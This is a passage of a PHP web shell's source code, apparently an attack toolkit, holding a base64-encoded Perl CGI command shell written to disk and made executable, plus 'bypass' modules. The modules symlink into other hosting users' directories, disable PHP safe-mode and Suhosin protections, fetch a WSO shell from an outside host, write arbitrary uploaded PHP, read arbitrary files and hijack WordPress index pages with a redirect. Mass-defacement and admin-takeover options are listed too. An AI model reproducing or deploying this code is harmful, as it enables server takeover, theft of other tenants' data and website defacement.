bG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';
4378
4379$file = fopen("vw.root" ,"w+");
4380$write = fwrite ($file ,base64_decode($cgipl));
4381fclose($file);
4382chmod("vw.root",0755);
4383echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Bypass Perl Security</span><br><br><iframe src=cgipl/vw.root width=75% height=50% frameborder=0></iframe>
4384
4385</div>";
4386}
4387if(isset($_GET['action']) && $_GET['action'] == 'posget'){
4388echo '<center><b class="conte">
4389<a href="?action=grasy">Bypass /etc/passwd</a> -
4390<a href="?action=nemcon">Bypass Users Server</a> -
4391<a href="?action=cgipl">Bypass Perl Security</a> -
4392<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4393<a href="?action=bforb">Bypass system function</a> -
4394<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4395<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4396<a href="?action=posget">Bypass posix_getpwuid</a> -
4397<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4398<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4399<a href="?action=setphr">Bypass suPHP Security</a> -
4400<a href="?action=simpelb">Simple Bypasser</a> -
4401<a href="?action=ritf">Read Files</a> -
4402<a href="?action=baidir">Bypass Chmod Directory</a> -
4403<a href="?action=forb14">Bypass Forbidden 2014</a> -
4404<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4405</b>';
4406echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass posix_getpwuid</span><center><br>';
4407echo '<form method="POST">
4408<input size="20" value="0" name="min" type="text">
4409<font face="Tahoma" color="#007700" size="2pt"> to </font>
4410<input size="20" value="1024" name="max" type="text"> <input value="Symlink" name="" type="submit">
4411</form><br>';
4412if($_POST){
4413$min = $_POST['min'];
4414$max = $_POST['max'];
4415echo"<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";
4416
4417$p = 0;
4418error_reporting(0);
4419$list = scandir("/var/named");
4420for($p = $min; $min <= $max; $p++)
4421{
4422$user = posix_getpwuid($p);
4423if(is_array($user)){
4424
4425foreach($list as $domain){
4426if(strpos($domain,".db")){
4427$domain = str_replace('.db','',$domain);
4428$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
4429if($owner['name'] == $user['name'])
4430{
4431$i += 1;
4432$cheechee = checkAlexa($domain);
4433echo "<tr><td class='cone'><a href='http://".$domain." '>".$domain."</a> <font color='#00bb00'>- </font><font color='#e4e4e4'>".$cheechee."</font></td><center><td class='cone'><font color='#00bb00'>".$user['name']."</font></center></td><td class='cone'><center><a href='sim/rut".$owner['dir']."/public_html/' target='_blank'>Dir</a></center></td>";
4434}
4435}
4436}
4437}
4438}
4439echo "<center><font face='Tahoma' color='#00bb00' size='2pt'>Total Domains Found:</font><font face='Tahoma' color='#00bb00' size='2pt'> ".$i."</font></center><br />";
4440}
4441echo "</table></div><br><br>";
4442}
4443if(isset($_GET['action']) && $_GET['action'] == 'suphp'){
4444echo '<center><b class="conte">
4445<a href="?action=grasy">Bypass /etc/passwd</a> -
4446<a href="?action=nemcon">Bypass Users Server</a> -
4447<a href="?action=cgipl">Bypass Perl Security</a> -
4448<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4449<a href="?action=bforb">Bypass system function</a> -
4450<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4451<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4452<a href="?action=posget">Bypass posix_getpwuid</a> -
4453<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4454<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4455<a href="?action=setphr">Bypass suPHP Security</a> -
4456<a href="?action=simpelb">Simple Bypasser</a> -
4457<a href="?action=ritf">Read Files</a> -
4458<a href="?action=baidir">Bypass Chmod Directory</a> -
4459<a href="?action=forb14">Bypass Forbidden 2014</a> -
4460<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4461</b>';
4462echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass PHP Suhosin Function Blacklist</span><center><br>';
4463echo "<br><form method='POST'>
4464<input type='text' name='path' size='25' value=".dirname(__FILE__)." '>
4465<input type='text' name='shell' size='25' value='http://files.xakep.biz/shells/PHP/wso.txt'>
4466<input type='submit' value='Bypass' name='start'><br><br>";
4467echo "<textarea class='area' rows='15' cols='78'>virusa worm Mode :) \n";
4468if($_POST['start']) {
4469$path = $_POST['path'];
4470$file = $_POST['shell'];
4471$htaccess = "suPHP_ConfigPath $path/vworm/php.ini";
4472$phpini = "c2FmZV9tb2RlID0gT0ZGCnN1aG9zaW4uZXhlY3V0b3IuZnVuYy5ibGFja2xpc3QgPSBOT05FCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ==";
4473$dir = "vworm";
4474if(file_exists($dir)) {
4475echo "[+] vworm Folder There Before :)\n";
4476} else {
4477@mkdir($dir); {
4478echo "[+] vworm Folder Created :D\n";
4479} }
4480#Generate Sh3LL
4481$fopen = fopen("vworm/vw.php",'w');
4482$shell = @file_get_contents($file);
4483$swrite = fwrite($fopen ,$shell);
4484if($swrite){
4485echo "[+] Shell Has Been Generated Name : vw.php \n";
4486} else {
4487echo "[~] Can't Generate Shell\n";
4488}
4489fclose($fopen);
4490#Generate Htaccess
4491$hopen = fopen("vworm/.htaccess", "w");
4492$hwrite = fwrite($hopen, $htaccess);
4493if($hwrite){
4494echo "[+] htaccess Generated\n";
4495} else {
4496echo "[~] Can't Generate htaccess\n";
4497}
4498fclose($hopen);
4499$ini = fopen("vworm/php.ini" ,"w");
4500$php = fwrite($ini, base64_decode($phpini));
4501if($php){
4502echo "[+] PHP.INI Generated";
4503} else {
4504echo "[-] Can't Generate PHP.INI";
4505}
4506}
4507echo "</textarea>";
4508}
4509if(isset($_GET['action']) && $_GET['action'] == 'simpelb'){
4510echo '<center><b class="conte">
4511<a href="?action=grasy">Bypass /etc/passwd</a> -
4512<a href="?action=nemcon">Bypass Users Server</a> -
4513<a href="?action=cgipl">Bypass Perl Security</a> -
4514<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4515<a href="?action=bforb">Bypass system function</a> -
4516<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4517<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4518<a href="?action=posget">Bypass posix_getpwuid</a> -
4519<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4520<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4521<a href="?action=setphr">Bypass suPHP Security</a> -
4522<a href="?action=simpelb">Simple Bypasser</a> -
4523<a href="?action=ritf">Read Files</a> -
4524<a href="?action=baidir">Bypass Chmod Directory</a> -
4525<a href="?action=forb14">Bypass Forbidden 2014</a> -
4526<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4527</b>';
4528echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Simple Bypasser</span><center><br>';
4529echo '<br><font face="Tahoma" color="#007700" size="2pt">Create Folder : </font>
4530<input type="text" name="dir" size="43" value="worm">
4531<input type="submit" value="Create" name="folder"> <br> <br>
4532<font face="Tahoma" color="#007700" size="2pt">Get File : </font><br>
4533<input type="text" name="get" size="16" value="url file .txt">
4534<input type="text" name="name" size="15" value="worm.php">
4535<input type="text" name="select" size="16" value='.dirname(__FILE__).'>
4536<input type="submit" value="GET" name="fileget"> <br> <br>
4537<font face="Tahoma" color="#007700" size="2pt">Fopen File : </font><br>
4538<input type="text" name="save" size="29" value="vwo.php">
4539<input type="text" name="path2" size="29" value='.dirname(__FILE__).'><br><br>
4540<textarea class="area" name="source" cols="78" rows="15">PHP Code</textarea><br><br>
4541<input type="submit" value="Save" name="fopen">';
4542
4543if($_POST['folder']) {
4544$mk = $_POST['dir'];
4545$func = "bWtkaXI=";
4546$de = base64_decode($func);
4547$rules1 = $de($mk);
4548if ($mk) {
4549echo "<br><b class='cone'>[+] Done [ $mk ] Created !</b>";
4550} }
4551# File Get Contents
4552if($_POST['fileget']) {
4553$get = $_POST['get'];
4554$n4m = $_POST['name'];
4555$path = $_POST['select'];
4556$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
4557$de2 = base64_decode($func2);
4558$rules2 = $de2($get);
4559$open = fopen("$path/$n4m", 'w');
4560fwrite($open,$rules2);
4561fclose($open);
4562if($get) {
4563echo "done";
4564} }
4565#
4566# fopen File
4567if($_POST['fopen']) {
4568$save = $_POST['save'];
4569$path2 = $_POST['path2'];
4570$open2 = fopen("$path2/$save", 'w');
4571$source1 = $_POST['source'];
4572$source2 = stripslashes($source1);
4573fwrite($open2 ,$source2);
4574fclose($open2);
4575if($open2) {
4576echo "<b class='tmp'>Done</b>";
4577} }
4578}
4579if(isset($_GET['action']) && $_GET['action'] == 'ritf'){
4580echo '<center><b class="conte">
4581<a href="?action=grasy">Bypass /etc/passwd</a> -
4582<a href="?action=nemcon">Bypass Users Server</a> -
4583<a href="?action=cgipl">Bypass Perl Security</a> -
4584<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4585<a href="?action=bforb">Bypass system function</a> -
4586<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4587<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4588<a href="?action=posget">Bypass posix_getpwuid</a> -
4589<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4590<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4591<a href="?action=setphr">Bypass suPHP Security</a> -
4592<a href="?action=simpelb">Simple Bypasser</a> -
4593<a href="?action=ritf">Read Files</a> -
4594<a href="?action=baidir">Bypass Chmod Directory</a> -
4595<a href="?action=forb14">Bypass Forbidden 2014</a> -
4596<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4597</b>';
4598echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Read File</span><center><br>';
4599echo "<form method='POST' />
4600<select name='website'>
4601<option value='show_source'>show_source</option>
4602<option value='highlight_file'>highlight_file</option>
4603<option value='readfile'>readfile</option>
4604<option value='include'>include</option>
4605<option value='require'>require</option>
4606<option value='file'>file</option>
4607<option value='fread'>fread</option>
4608<option value='file_get_contents'>file_get_contents</option>
4609<option value='fgets'>fgets</option>
4610<input type='text' name='file' size='22' /><input type='submit' name='start' value='Read Now' />
4611</select>";
4612
4613function readfils($file) {
4614
4615$web = $_POST['website'];
4616
4617switch ($web)
4618{
4619case 'show_source': $show = @show_source($file); break;
4620
4621case 'highlight_file': $highlight = @highlight_file($file); break;
4622
4623case 'readfile': $readfile = @readfile($file); break;
4624
4625case 'include': $include = @include($file); break;
4626
4627case 'require': $require = @require($file); break;
4628
4629case 'file': $file = @file($file); foreach ($file as $key => $value) { print $value; } break;
4630
4631case 'fread': $fopen = @fopen($file,"r") or die("Unable to open file!"); $fread = @fread($fopen,90000); fclose($fopen); print_r($fread); break;
4632
4633case 'file_get_contents': $file_get_contents = @file_get_contents($file); print_r($file_get_contents); break;
4634
4635case 'fgets': $fgets = @fopen($file,"r") or die("Unable to open file!"); while(!feof($fgets)) { echo fgets($fgets); } fclose($fgets); break;
4636
4637default:
4638echo "{$web} Not There";
4639}
4640}
4641
4642echo "<br><br><textarea class='area' rows='15' cols='68' />";
4643$file = trim($_POST['file']);
4644if($_POST['start'])
4645{
4646readfils($file); }
4647echo "</textarea>";
4648}
4649if(isset($_GET['action']) && $_GET['action'] == 'wrdprshtmlinj'){
4650echo '<center><b class="conte">
4651<a href="?action=mass">Mass Deface Dirs</a> -
4652<a href="?action=joomla">Mass Change Admin Joomla</a> -
4653<a href="?action=vb">Mass Change Admin vBulletin</a> -
4654<a href="?action=wp">Mass Change Admin WordPress</a> -
4655<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
4656<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
4657<a href="?action=joommlallainxc">Joomla Index Changer</a> -
4658<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
4659<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
4660</b>';
4661echo '<form method="POST">
4662<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Index Hijack Priv8</span></center><br>
4663<p align="center">
4664<img src="http://www3.0zz0.com/2014/08/20/15/615506358.png" /></p>
4665
4666<br><center><font color="#007700" size="2" face="orion">Coded By Mauritania Attacker</font></center><br>
4667<center><input type="text" value="localhost" name="pghost">
4668<input type="text" value="database_name" name="dbnmn">
4669<input type="text" value="prefix" name="prefix">
4670<input type="text" value="username_db" name="dbusrrrr">
4671<input type="text" value="password_db" name="pwddbbn"></center><br>
4672<center><textarea class="area" name="pown" cols="100" rows="7"><meta http-equiv="refresh" content="0;URL=http://pastebin.com/raw.php?i=WG1zASMG"></textarea><br><br>
4673<input type="submit" name="up2" value="Hijack Index"><br></center><form>';
4674$pghost = $_POST['pghost'];
